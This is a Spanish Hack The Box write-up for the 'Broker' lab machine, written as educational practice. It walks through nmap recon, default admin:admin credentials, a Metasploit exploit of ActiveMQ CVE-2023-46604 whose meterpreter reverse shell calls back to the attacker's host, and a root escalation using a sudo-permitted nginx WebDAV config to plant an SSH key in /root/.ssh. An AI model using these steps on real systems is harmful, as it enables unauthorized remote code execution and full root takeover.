Descripción
Broker es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Vulnerabilidad de ejecución remota de ActiveMQ
- Escalada de privilegios mediante servidor web
nginxejecutado como usuarioroot
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.243.
$ ping -c 3 10.10.11.243
PING 10.10.11.243 (10.10.11.243) 56(84) bytes of data.
64 bytes from 10.10.11.243: icmp_seq=1 ttl=63 time=123 ms
64 bytes from 10.10.11.243: icmp_seq=2 ttl=63 time=122 ms
64 bytes from 10.10.11.243: icmp_seq=3 ttl=63 time=122 ms
--- 10.10.11.243 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 122.114/122.682/123.477/0.579 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.10.11.243 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.243
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 2.17 seconds
Obtenemos dos puertos abiertos: 22 y 80.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.10.11.243 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.243
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.18 seconds
Obtenemos dos servicios: uno de Shell Seguro (SSH) y otro de Protocolo de Transferencia de Hipertexto (HTTP). Dado que no tenemos credenciales factibles para el servicio SSH, vamos a pasar al servicio HTTP. Agregamos la dirección broker.htb a el archivo /etc/hosts.
$ echo '10.10.11.243 broker.htb' | sudo tee -a /etc/hosts
Enumerando el sitio web, encontramos un formulario de inicio de sesión y descubrimos que el sitio web es alimentado por Jetty:// 9.4.39.v20210325. En la escaneo de Nmap, encontramos que el aplicativo ejecutado es ActiveMQ. ActiveMQ es un proveedor de mensajería de código abierto que permite comunicación asíncrona entre aplicaciones. Actúa como sistema de mensajería, permitiendo a los productores (los que envían mensajes) y los consumidores (los que reciben mensajes) comunicarse entre sí de manera desacoplada. Encontramos que las credenciales de inicio por defecto admin:admin funcionan. Podemos acceder a la consola de administración haciendo clic en Manage ActiveMQ broker. Encontramos que la versión instalada es 5.15.15.
Esta versión es vulnerables a una deserialización no limitada que hace que Active MQ sea vulnerable a una Ejecución Remota de Comandos. Esta vulnerabilidad permite que un atacante remoto con acceso a la red, tanto si se conecta mediante un broker Java OpenWire como si se conecta como cliente, ejecute comandos del shell arbitrarios manipulando tipos de clase serializados en el protocolo OpenWire.
Explotación
Somos capaces de explotar la vulnerabilidad utilizando Metasploit.
msf > search activemq
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
...
7 exploit/multi/misc/apache_activemq_rce_cve_2023_46604 2023-10-27 excellent Yes Apache ActiveMQ Unauthenticated Remote Code Execution
8 \_ target: Windows . . . .
9 \_ target: Linux . . . .
10 \_ target: Unix . . . .
...
msf > use 9
[*] Additionally setting TARGET => Linux
[*] No payload configured, defaulting to cmd/linux/http/aarch64/meterpreter/reverse_tcp
msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > set payload cmd/linux/http/x86/meterpreter/reverse_tcp
msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > set RHOSTS 10.10.11.243
RHOSTS => 10.10.11.243
msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > set FETCH_SRVPORT 8081
FETCH_SRVPORT => 8081
msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > set LHOST run0
[-] The following options failed to validate: Value 'run0' is not valid for option 'LHOST'.
LHOST => 192.168.10.130
msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > set LHOST tun0
LHOST => 10.10.14.6
msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > run
[*] Started reverse TCP handler on 10.10.14.6:4444
[*] 10.10.11.243:61616 - Running automatic check ("set AutoCheck false" to disable)
[+] 10.10.11.243:61616 - The target appears to be vulnerable. Apache ActiveMQ 5.15.15
[*] 10.10.11.243:61616 - Using URL: http://10.10.14.6:8080/IurSNlbieXMX
[*] 10.10.11.243:61616 - Sent ClassPathXmlApplicationContext configuration file.
[*] 10.10.11.243:61616 - Sent ClassPathXmlApplicationContext configuration file.
[*] Sending stage (1062760 bytes) to 10.10.11.243
[*] Meterpreter session 1 opened (10.10.14.6:4444 -> 10.10.11.243:41484)
[*] 10.10.11.243:61616 - Server stopped.
Recibimos la consola meterpreter, abrimos una terminal.
meterpreter > shell
Process 1170 created.
Channel 1 created.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
activemq@broker:/opt/apache-activemq-5.15.15/bin$ id
id
uid=1000(activemq) gid=1000(activemq) groups=1000(activemq)
Post-Explotación
Iniciamos sesión con el usuario activemq. Podemos ejecutar un comando como usuario root, nginx.
activemq@broker:/opt/apache-activemq-5.15.15/bin$ sudo -l
sudo -l
Matching Defaults entries for activemq on broker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User activemq may run the following commands on broker:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
Esto significa que podemos crear un nuevo servidor web con cualquier configuración y como el comando se ejecutará con permisos totales, podremos leer o escribir todo en el sistema de archivos. Podemos utilizar la capa dav para crear un servidor WebDAV en el que podemos subir archivos, como una clave pública SSH.
Comenzamos creando una clave pública y privada de SSH. Y creamos el archivo authorized_keys.
$ ssh-keygen -t rsa -b 1024 -f id_rsa
$ cp id_rsa.pub authorized_keys
Esto será el archivo de configuración:
user root;
events {
worker_connections 1024;
}
http {
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
server {
listen 1234;
server_name localhost;
root /root/.ssh;
location /upload {
client_max_body_size 50M;
dav_methods PUT DELETE MKCOL COPY MOVE;
dav_access user:rw group:rw all:r;
create_full_put_path on;
alias /root/.ssh/;
}
location / {
autoindex on;
}
}
}
Esto creará un servidor HTTP que escuche en el puerto 1234 y todas las solicitudes HTTP PUT con archivos se subirán al carpeta /root/.ssh/. Comenzamos a ejecutar el servidor web.
activemq@broker:/opt/apache-activemq-5.15.15/bin$ cd
activemq@broker:~$ sudo nginx -c /home/activemq/server.conf
Ahora podemos subir el archivo authorized_keys.
$ curl -T authorized_keys http://broker.htb:1234/upload/authorized_keys
Finalmente podemos iniciar sesión como usuario root utilizando el protocolo SSH.
$ ssh -i id_rsa root@broker.htb
...
root@broker:~# id
uid=0(root) gid=0(root) groups=0(root)
Flags
En la consola de root podemos leer ambas flags.
root@broker:~# cat /home/activemq/user.txt
<REDACTED>
root@broker:~# cat /root/root.txt
<REDACTED>